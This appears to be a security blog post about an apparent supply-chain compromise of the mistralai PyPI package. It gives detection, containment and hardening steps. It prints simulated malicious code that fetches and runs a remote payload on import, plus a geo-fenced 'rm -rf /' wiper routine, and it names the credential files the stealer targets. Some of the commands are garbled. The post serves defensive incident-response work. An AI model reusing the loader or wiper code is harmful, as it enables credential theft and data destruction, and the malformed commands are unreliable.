Listen to this Post
Introduction
A sophisticated supply chain attack has compromised the legitimate `mistralai` PyPI package version 2.4.6, injecting malicious code that triggers upon import. The attack downloads a second-stage credential stealer from `https://83.142.209.194/transformers.pyz` – a filename cleverly disguised as the popular Hugging Face Transformers library – and includes a geo-fenced destructive routine with a 1-in-6 chance of executing `rm -rf /` on Linux systems located in Israel or Iran, while avoiding Russian-language environments.
Learning Objectives
- Understand the technical mechanics of the PyPI package compromise and how malicious code executes via Python import hooks.
- Learn to detect, isolate, and remediate Linux hosts affected by this credential stealer and destructive payload.
- Implement proactive supply chain security measures including package hashing, dependency scanning, and network blocking of malicious infrastructure.
You Should Know
- Analyzing the Malicious Injection: How Import Triggers the Attack
The compromised `mistralai/client/__init__.py` file executes immediately upon importing the package in any Python script or notebook. Below is a simulated analysis of the injected code logic:
Simulated malicious snippet found in mistralai/client/<strong>init</strong>.py import requests import subprocess import os def _download_payload(): url = "https://83.142.209.194/transformers.pyz" local_path = "/tmp/transformers.pyz" try: r = requests.get(url, timeout=10) with open(local_path, 'wb') as f: f.write(r.content) subprocess.Popen(["python3", local_path], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) except: pass _download_payload()
Step‑by‑step guide to detect this behavior:
- Examine the package after download: `pip download mistralai==2.4.6 –no-deps -d ./temp_pkg && tar -xzf ./temp_pkg/mistralai-2.4.6.tar.gz`
2. Inspect the__init__.py: `cat mistralai-2.4.6/mistralai/client/__init__.py | grep -E “(requests|urllib|download|http|transformers\.pyz)”`
3. Check running processes for suspicious Python subprocesses: `ps aux | grep -E “transformers\.pyz|pgmonitor\.py”`
4. Monitor file system changes: `auditctl -w /tmp/transformers.pyz -p rwxa -k pypi_attack`
2. Blocking Malicious Infrastructure and Isolating Compromised Hosts
Immediate containment is critical to prevent credential exfiltration and potential ransomware-like destruction.
Linux commands to isolate and block:
Block the malicious IP via iptables sudo iptables -A OUTPUT -d 83.142.209.194 -j DROP sudo iptables -A INPUT -s 83.142.209.194 -j DROP Persist rules (Ubuntu/Debian with iptables-persistent) sudo netfilter-persistent save Alternatively, block via /etc/hosts echo "0.0.0.0 transformers.pyz" | sudo tee -a /etc/hosts Immediately kill any process running the payload pkill -f transformers.pyz pkill -f pgmonitor.py sudo systemctl stop pgsql-monitor.service if present sudo systemctl disable pgsql-monitor.service
Windows equivalent (if WSL or Python environment is affected):
Block IP using Windows Defender Firewall
New-NetFirewallRule -DisplayName "Block Malicious IP 83.142.209.194" -Direction Outbound -RemoteAddress 83.142.209.194 -Action Block
Find and kill processes
Get-Process | Where-Object {$<em>.ProcessName -like "transformers" -or $</em>.ProcessName -like "pgmonitor"} | Stop-Process -Force
3. Hunting for Indicators: /tmp/transformers.pyz, pgmonitor.py, and pgsql-monitor.service
The attacker’s second-stage payload leaves specific artifacts. Use these commands across your Linux fleet.
Detection script:
!/bin/bash echo "=== Hunting for MistralAI compromise indicators ===" Check for the downloaded payload if [ -f /tmp/transformers.pyz ]; then echo "[!] CRITICAL: /tmp/transformers.pyz found" sha256sum /tmp/transformers.pyz else echo "[-] /tmp/transformers.pyz not present" fi Hunt for credential stealer script find / -name "pgmonitor.py" 2>/dev/null find / -name "pgsql-monitor.service" 2>/dev/null Check systemd services for persistence systemctl list-units --all | grep -i pgsql-monitor Look for suspicious outbound connections to the malicious IP sudo netstat -tunap | grep 83.142.209.194
Use `auditd` to monitor future creations:
sudo auditctl -w /tmp -p wa -k tmp_watch sudo auditctl -w /usr/lib/systemd/system/ -p wa -k systemd_watch ausearch -k tmp_watch | grep transformers.pyz
4. Credential Stealer Analysis: What Gets Exposed
The credential stealer targets environment variables, SSH keys, cloud tokens, and database credentials. Immediately rotate any exposed secrets.
Common locations the stealer likely scrapes:
~/.bash_history, `~/.zsh_history`
–~/.ssh/id_rsa, `~/.ssh/id_ed25519`
– Environment variables (AWS_ACCESS_KEY_ID,AZURE_CLIENT_SECRET,GITHUB_TOKEN,DATABASE_URL)~/.aws/credentials, `~/.config/gcloud/credentials.db`
– Running process command lines (/proc//cmdline)
Rotation checklist:
- Revoke all AWS/GCP/Azure credentials used on the compromised host.
- Change any database passwords that appeared in connection strings.
- Regenerate SSH key pairs and update `authorized_keys` files.
4. Invalidate all session tokens and API keys.
Linux command to dump environment of suspicious processes:
for pid in $(pgrep -f "python.transformers"); do echo "=== PID $pid ===" cat /proc/$pid/environ | tr '\0' '\n' done
- Geo-Fenced Destructive Branch: Understanding the 1-in-6 `rm -rf /` Logic
The payload contains country detection (likely via IP geolocation API or locale settings). If the system is identified as being in Israel or Iran, there is a 17% chance of executing rm -rf / --no-preserve-root. This is a wiper-like behavior intended to destroy the entire filesystem.
Simulated code logic:
import random, subprocess, requests
def get_country():
try:
resp = requests.get('https://ipinfo.io/country', timeout=5)
return resp.text.strip()
except:
return None
country = get_country()
if country in ['IL', 'IR'] and random.randint(1,6) == 1:
subprocess.run(['rm', '-rf', '/', '--no-preserve-root'])
Mitigation strategies:
- Disable `rm -rf /` by using `safe-rm` or aliasing: `alias rm=’rm -I’`
– Implement filesystem snapshots (LVM, ZFS, or cloud snapshot policies) - Use mandatory access controls like AppArmor or SELinux to block the `rm` binary from deletion commands
- Run ML workloads in containers with read-only root filesystems: `docker run –read-only –tmpfs /tmp`
- Proactive Supply Chain Hardening: Preventing Future PyPI Compromises
Organizations must implement continuous monitoring and package integrity checks.
Using `pip-audit` and `safety` to scan dependencies:
Install tools pip install pip-audit safety Check current environment pip-audit --requirement requirements.txt Safety DB check safety check -r requirements.txt --full-report Verify package hashes (for reproducible installs) pip install --require-hashes -r requirements.txt
Private PyPI mirroring with validation:
Use devpi to cache and verify packages devpi-server --host 0.0.0.0 --port 3141 devpi upload --verify-metadata Block known malicious versions in pip.conf [bash] require-virtualenv = true no-cache-dir = false trusted-host = pypi.org files.pythonhosted.org
Linux + Windows command to list installed packages and compare against known compromise list:
Linux pip list --format=json | jq '.[] | select(.name=="mistralai" and .version=="2.4.6")'
Windows PowerShell
pip list --format=json | ConvertFrom-Json | Where-Object { $<em>.name -eq 'mistralai' -and $</em>.version -eq '2.4.6' }
7. Incident Response Playbook: Containment, Eradication, and Recovery
Step‑by‑step response checklist:
- Isolate – Disconnect affected host from network (physically or via security group).
- Preserve – Capture memory (LiME or
avml) and disk image for forensics. - Block – Add `83.142.209.194` to firewall deny lists and threat intelligence feeds.
- Eradicate – Remove compromised package: `pip uninstall mistralai -y` and delete
/tmp/transformers.pyz,pgmonitor.py,pgsql-monitor.service. - Rotate – All credentials that touched the host (see Section 4).
- Rebuild – Reinstall OS from known-good image, restore data from clean backup.
- Monitor – Implement EDR rules for `transformers.pyz` and outbound connections to 83.142.209.194.
What Undercode Say
- Key Takeaway 1: The use of trusted PyPI package names (
mistralai) combined with a library-like payload filename (transformers.pyz) demonstrates advanced social engineering targeting ML engineers who frequently import Hugging Face modules. - Key Takeaway 2: Geo-fenced destructive logic with probabilistic execution (1-in-6 chance) complicates detection and attribution, as not every compromised host in Israel/Iran will exhibit wiping behavior, leading to false negatives.
Analysis: This attack highlights the fragility of the open-source software supply chain, particularly in AI/ML ecosystems where dependency trees are deep and package maintainers are often small teams. The country-aware logic also signals a nation-state or politically motivated actor, yet the wiper’s random chance suggests either a testing oversight or deliberate stealth to evade deterministic sandbox detection. Organizations must move beyond simple `pip install` trust – implementing artifact signing, runtime sandboxing (e.g., gVisor, Firecracker), and real-time behavioral monitoring for Python imports. The fact that the malicious code executes on import, not just when calling a specific function, means that static analysis of top-level code in `__init__.py` must become a mandatory step before any package deployment in sensitive environments.
Prediction
In the next 12 months, we will see a surge in “dual-use” supply chain attacks targeting AI/ML libraries – where the initial payload is a credential stealer, but a dormant wiper or ransomware branch is triggered based on geolocation, time delays, or random probability. This will force PyPI and npm to implement mandatory two-factor authentication for critical packages, runtime import scanning in CI/CD pipelines, and community-led “malware hunting” bounties. Expect also the rise of ephemeral ML environments that auto-destroy after each training session, rendering persistent credential stealers ineffective.
▶️ Related Video (76% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Microsoft Is – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
